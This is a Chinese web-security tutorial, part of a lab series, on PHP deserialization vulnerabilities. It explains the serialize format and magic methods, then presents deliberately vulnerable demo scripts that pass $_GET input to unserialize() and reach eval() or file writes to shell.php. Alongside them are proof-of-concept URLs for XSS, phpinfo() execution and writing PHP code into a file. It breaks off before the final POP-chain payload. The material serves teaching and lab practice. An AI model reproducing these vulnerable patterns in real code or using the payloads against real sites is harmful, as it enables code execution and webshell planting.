WEB常见漏洞之反序列化(靶场篇)2

简介: WEB常见漏洞之反序列化(靶场篇)

4.PHP反序列化漏洞实验

PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。serialize函数输出格式

NULL被序列化为:N
Boolean型数据序列化为:b:1,b:0,分别代表True和False
Integer型数据序列化为:i:数值
String型数据序列化为:s:长度:"值"
对象序列化为:O:类名长度:类名:字段数:字段

输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。PHP中常用魔术方法

__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用

demo1.php

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="yeah";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

如果说反序列化可能带来安全问题,那么一定是序列化构造了危险代码,当进行反序列化相当于解码操作的时候自动执行了。我们本地测试下,当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss:

代码:

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="<img src=1 onerror=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

我们可以尝试本地修改需要被序列化的字符串/数组/对象。通过上面的小demo我们简单的了解了反序列化导致的一些安全问题。下面是对它的深入理解:首先解释下demo1序列化后的含义:$a="test"; 序列化后的结果是:s:4:"test";含义:s =string类型 4代表字符串长度,"test"代表字符串内容$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}含义:a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。class A{public $test="yeah"}创建对象后,序列化后的结果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}含义:O表示存储的对象(object类型),1代表对象名称有1个字符,就是A,A是对象名称,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。我感觉我写的很详细了,下面来点案例说明反序列化漏洞吧:魔术方法,php有一些魔术方法,参考:https://secure.php.net/manual/zh/language.oop5.magic.php划重点,简单讲解下对反序列化有用的魔法函数,详细了解查看手册:__construct 构造函数,创建对象时自动调用__wakeup 使用unserialse()函数时会自动调用__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)写一段存在安全问题的demo:那么我用__wakeup演示下,__destruct也可以,因为__destruct 会被自动调用demo2.php

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法__wakeup并且输出test构造序列化poc:

    $b = new A();
    $c = serialize($b);
    echo $c;

    输出:O:1:"A":1:{s:4:"test";s:4:"demo";}

    demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>

    注意前面的长度:


    构造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

    直接导致xss攻击。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行危害巨大!我们来尝试修改echo改成eval这种php执行代码函数:

    <?php
    class A{
        var $test = "demo";
        function __wakeup(){
               eval($this->test);
        }
    }
    $b = new A();
    $c = serialize($b);
    echo $c;
    $a = $_GET['test'];
    $a_unser = unserialize($a);
    ?>
    直接构造poc:
    http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";

    使用pyhhon判断长度很方便

    如果把10改成11就不能正常执行:

    序列化要一一匹配。关于文件操作结合反序列化导致的安全问题:网站根目录存在shell.phpdemo3.php

    <?php
    //为显示效果,把这个shell.php包含进来
    require "shell.php";
    class A{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $a= new A();
    print_r(serialize($a));
    $class1 = $_GET['test'];
    print_r($class1);
    echo "</br>";
    $class1_unser = unserialize($class1);
    ?>

    构造poc:


    http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

    测试发现当使用unserialize()的时候会自动调用魔术方法__wakeup或__destruct,所以往往安全问题都在__wakeup和__destruct魔术方法中。那么__construct()构造方法就没利用价值吗?非也,非也。如果__wekeup创建了对象,那么就会自动调用__construct(),演示例子:demo4.php

    <?php
    require "shell.php";
    class B{
        function __construct($test){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$test);
            fclose($fp);
        }
    }
    class A{
        var $test = '123';
        function __wakeup(){
            $obj = new B($this->test);
        }
    }
    $class1 = $_GET['test'];
    echo "</br>";
    $class1_unser = unserialize($class1);
    ?>

      构造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

      首先unserialize()会自动调用__wakeup(),__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。利用普通成员方法的反序列化漏洞研究:上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通方法中,该如何利用呢?demo5.php

      <?php
          class maniac{
              public $test;
              function __construct(){
                  $this->test =new x1();
              }
              function __destruct(){
                  $this->test->action();
              }
          }
      class x1{
          function action(){
              echo "x1";
          }
      }
      class x2{
          public $test2;
          function action(){
              eval($this->test2);
          }
      }
      $class2  = new maniac();
      unserialize($_GET['test']);
      ?>

      我们发现类的普通方法调用eval函数,这个函数很危险,如果可控就可能造成代码执行。通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中,构造如下序列化代码:

      目录
      相关文章
      |
      安全 测试技术 程序员
      web渗透-文件包含漏洞
      文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
      1519 79
      web渗透-文件包含漏洞
      |
      存储 安全 前端开发
      Web渗透-文件上传漏洞-上篇
      文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
      3261 1
      Web渗透-文件上传漏洞-上篇
      |
      安全 中间件 应用服务中间件
      WEB渗透-文件上传漏洞-下篇
      本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
      894 1
      |
      存储 JavaScript 安全
      Web渗透-XSS漏洞深入及xss-labs靶场实战
      XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
      3293 1
      Web渗透-XSS漏洞深入及xss-labs靶场实战
      |
      安全 NoSQL Shell
      web渗透-SSRF漏洞及discuz论坛网站测试
      SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
      592 1
      web渗透-SSRF漏洞及discuz论坛网站测试
      |
      安全 程序员 数据库连接
      web渗透-CSRF漏洞
      CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
      811 0
      web渗透-CSRF漏洞
      |
      11月前
      |
      算法 Java Go
      【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
      gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
      757 4
      |
      缓存 JavaScript 前端开发
      鸿蒙5开发宝藏案例分享---Web开发优化案例分享
      本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
      |
      JavaScript 前端开发 API
      鸿蒙5开发宝藏案例分享---Web加载时延优化解析
      本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。

      热门文章

      最新文章